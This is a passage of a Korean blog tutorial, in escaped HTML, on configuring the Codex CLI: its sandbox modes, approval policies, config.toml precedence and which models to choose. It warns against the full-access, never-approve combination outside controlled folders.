this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1944&quot; height=&quot;878&quot; data-origin-width=&quot;1944&quot; data-origin-height=&quot;878&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ex2) code --sandbox &lt;span style=&quot;color: #ee2323;&quot;&gt;workspace-write&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 해당 프로젝트 내에서는 수정이 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2910&quot; data-origin-height=&quot;1314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8mf4K/dJMb997mOaY/nxdFnUgNNLVEu9vWWJQkq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8mf4K/dJMb997mOaY/nxdFnUgNNLVEu9vWWJQkq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8mf4K/dJMb997mOaY/nxdFnUgNNLVEu9vWWJQkq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8mf4K%2FdJMb997mOaY%2FnxdFnUgNNLVEu9vWWJQkq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2910&quot; height=&quot;1314&quot; data-origin-width=&quot;2910&quot; data-origin-height=&quot;1314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 별도의 권한 요청 없이 수정 완료 하였다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;744&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KcPFp/dJMcafT3ZXf/CpCygI9JInkXnKNCABfsb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KcPFp/dJMcafT3ZXf/CpCygI9JInkXnKNCABfsb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KcPFp/dJMcafT3ZXf/CpCygI9JInkXnKNCABfsb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKcPFp%2FdJMcafT3ZXf%2FCpCygI9JInkXnKNCABfsb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1952&quot; height=&quot;744&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;744&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 승인 정책과의 조합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;샌드박스 레벨은 승인 정책(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy&lt;/code&gt;)과 함께 설정한다. 승인 정책은 Codex에게 언제 &quot;물어보고 진행할지&quot;를 정하는 옵션이다. 공식 문서에서 말하는 대표 정책은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;untrusted&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;승인 정책&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;untrusted&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;안전하다고 판단된 명령만 바로 실행하고, 나머지는 확인을 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;샌드박스 안에서는 진행하고, 울타리 밖으로 나가려 할 때 확인을 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;승인 질문을 하지 않는다. 실패하면 Codex가 그 결과를 보고 다음 방법을 찾는다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에서 제시하는 두 가지 대표 조합은 다음과 같다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uJdi7/dJMcafsX3eR/4v98KAnFsVFkKktCqwbTz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uJdi7/dJMcafsX3eR/4v98KAnFsVFkKktCqwbTz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uJdi7/dJMcafsX3eR/4v98KAnFsVFkKktCqwbTz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuJdi7%2FdJMcafsX3eR%2F4v98KAnFsVFkKktCqwbTz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1550&quot; height=&quot;844&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;완전 자동화 (주의 필요)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;sandbox_mode = &quot;danger-full-access&quot;
approval_policy = &quot;never&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저위험 로컬 자동화 (권장 시작점)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;sandbox_mode = &quot;workspace-write&quot;
approval_policy = &quot;on-request&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 CLI 플래그로 동일하게 설정할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex --sandbox workspace-write --ask-for-approval on-request&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 폴더 외의 다른 폴더도 함께 수정해야 한다면 무조건 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt;로 올릴 필요는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 설정 문서 기준으로는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_workspace_write.writable_roots&lt;/code&gt;에 추가로 열어둘 폴더를 좁게 지정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 현재 프로젝트 밖의 공유 폴더 하나만 필요하다면, 전체 컴퓨터를 열기보다 그 폴더만 추가로 열어 주는 식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초심자에게는 &quot;필요한 폴더만 열어준다&quot;는 감각이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 config.toml 우선순위와 권한 프로필&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;샌드박스와 승인 정책은 대부분 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;에서 기본값으로 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인 기본값은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;에 두고, 프로젝트별 예외는 저장소 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;에 둘 수 있다. 단, 프로젝트 설정은 신뢰한 프로젝트에서만 로드된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선순위도 알아두면 헷갈리지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서 기준으로는 CLI 플래그와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--config&lt;/code&gt;가 가장 강하고, 그다음이 profile, 프로젝트 설정, 사용자 설정, 시스템 설정, 기본값 순서다. 즉, 오늘 한 번만 다르게 실행하려면 CLI 플래그를 쓰고, 계속 유지할 기본값은 config에 넣는 식으로 나누면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;836&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LB4qe/dJMcaaFeNKW/eGcXbrjfpQQu8hPH7mTz2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LB4qe/dJMcaaFeNKW/eGcXbrjfpQQu8hPH7mTz2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LB4qe/dJMcaaFeNKW/eGcXbrjfpQQu8hPH7mTz2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLB4qe%2FdJMcaaFeNKW%2FeGcXbrjfpQQu8hPH7mTz2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1550&quot; height=&quot;836&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;836&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한 설정을 매번 직접 조합하기 번거롭다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;default_permissions&lt;/code&gt;를 사용할 수 있다. 여기서 헷갈리기 쉬운 말이 permission profile이다. 쉽게 말해 permission profile은 여러 권한 설정을 묶어 놓은 프리셋에 가깝고, sandbox mode는 그중 &quot;파일과 명령을 어디까지 허용할지&quot;를 정하는 한 항목이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt;는 sandbox mode 이름이고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;default_permissions = &quot;workspace&quot;&lt;/code&gt; 같은 값은 여러 설정을 묶어 고르는 예시로 읽으면 된다. 처음에는 제한이 있는 설정부터 시작한다.&lt;/p&gt;
&lt;!-- 경고 콜아웃 (빨강) --&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; border-left: 4px solid #dc3545;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt; + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;never&quot;&lt;/code&gt; 조합은 Codex가 거의 모든 작업을 확인 없이 실행하게 만든다. 실험용 폴더처럼 충분히 통제된 환경에서만 쓰는 편이 안전하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xpocc/dJMcahEi1BH/v8BiQqTz6aC7vomnWH3AJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xpocc/dJMcahEi1BH/v8BiQqTz6aC7vomnWH3AJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xpocc/dJMcahEi1BH/v8BiQqTz6aC7vomnWH3AJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxpocc%2FdJMcahEi1BH%2Fv8BiQqTz6aC7vomnWH3AJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1458&quot; height=&quot;804&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 모델(Models) &amp;mdash; 어떤 모델을 언제 쓸까&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델은 Codex 안에서 실제로 답을 만들고 판단하는 AI 엔진이다. 같은 Codex라도 어떤 모델을 쓰느냐에 따라 속도, 비용, 얼마나 깊게 따져 보는지가 달라진다. Codex가 사용하는 모델은 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Models 문서&lt;/a&gt;에서 확인한다. 2026년 5월 기준 Codex에서 주로 선택하는 모델은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 모델 비교&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qm87S/dJMcabjQDjC/xljEVMFXBi9Cc0qQhVJKq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qm87S/dJMcabjQDjC/xljEVMFXBi9Cc0qQhVJKq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qm87S/dJMcabjQDjC/xljEVMFXBi9Cc0qQhVJKq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQm87S%2FdJMcabjQDjC%2FxljEVMFXBi9Cc0qQhVJKq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1532&quot; height=&quot;830&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;특성&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;적합한 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.5&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최신 고성능 모델, 복잡한 코딩&amp;middot;컴퓨터 사용&amp;middot;문서 작업&amp;middot;연구 흐름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대부분의 작업 &amp;mdash; 시작점으로 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.4&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;고성능 모델, 깊은 추론&amp;middot;도구 사용&amp;middot;에이전트 작업에 강함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전문성이 필요한 복잡한 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.4-mini&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠르고 효율적인 미니 모델&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 코딩 반복, 작은 역할을 맡는 서브에이전트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.3-codex&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩에 특화된 모델, gpt-5.4의 코딩 능력을 뒷받침&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;복잡한 개발 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;텍스트 중심의 빠른 리서치 프리뷰 모델&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;거의 즉각적인 코딩 반복. ChatGPT Pro 사용자 대상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 일반 작업은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.5&lt;/code&gt;로 시작하고, 가볍고 빠른 반복이 필요하면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.4-mini&lt;/code&gt;를 선택한다. 단, 공식 문서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.5&lt;/code&gt;가 ChatGPT 로그인으로 사용할 때 제공되며, API 키 인증에서는 사용할 수 없다고 안내한다. 계정에 아직 보이지 않는다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.4&lt;/code&gt;를 쓰면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.2&lt;/code&gt;는 깊은 디버깅을 포함한 코딩&amp;middot;에이전트 작업에 쓸 수 있는 이전 범용 모델이다. 지금 새로 시작하는 초심자라면 먼저 위 표의 추천 모델을 보고, 특별한 이유가 있을 때만 이전 모델을 선택하는 편이 단순하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 가장 기본적인 변경 방법&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /model 입력 &amp;gt; 나오는 선택 화면에서 위아래로 움직여 모델을 선택한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1488&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7wfIq/dJMb99TO4RE/qfmL9u9K2hPOeqecGNGY20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7wfIq/dJMb99TO4RE/qfmL9u9K2hPOeqecGNGY20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7wfIq/dJMb99TO4RE/qfmL9u9K2hPOeqecGNGY20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7wfIq%2FdJMb99TO4RE%2FqfmL9u9K2hPOeqecGNGY20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1488&quot; height=&quot;366&quot; data-origin-width=&quot;1488&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- effort 수준을 선택하는 화면인데 하기에 상세 내용은 작성해 두었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1294&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCKT22/dJMcabjQyqA/JXOumD4jOUejySD4cB2fr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCKT22/dJMcabjQyqA/JXOumD4jOUejySD4cB2fr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCKT22/dJMcabjQyqA/JXOumD4jOUejySD4cB2fr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCKT22%2FdJMcabjQyqA%2FJXOumD4jOUejySD4cB2fr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1294&quot; height=&quot;342&quot; data-origin-width=&quot;1294&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 선택된 모델 및 추론 레벨을 확인 가능하다.&lt;/p&gt;
